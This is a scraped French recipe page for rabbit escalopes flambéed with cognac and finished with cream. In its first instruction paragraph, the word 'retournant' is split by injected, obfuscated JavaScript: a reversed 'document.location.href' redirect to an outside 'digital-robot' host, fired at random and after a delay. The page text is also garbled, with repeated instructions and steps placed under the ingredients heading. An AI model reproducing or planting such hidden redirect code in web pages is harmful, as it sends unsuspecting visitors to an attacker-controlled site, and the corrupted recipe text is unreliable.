Escalopes de lapin au cognac
2021-02-05- Niveau : Difficile
Arrosez les râbles de lapin avec les 4 cuillères à soupe de cognac. Filmez le récipient. Laissez mariner pendant 5 minutes, en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent.
Ingrédients
Arrosez les râbles de lapin avec les 4 cuillères à soupe de cognac. Filmez le récipient. Laissez mariner pendant 5 minutes, en les retournant souvent. Versez le poivre concassé dans une assiette creuse, roulez les râbles dans le poivre de façon qu'ils soient bien imprégner. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites les revenir pendant 2 à 3 minutes de chaque côté. Flambez avec le cognac restant, incorporez la crème fleurette, tout en remuant, et laissez cuire pendant 10 minutes sur feu doux. Vérifiez la cuisson. Dégustez avec le légume de votre choix.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette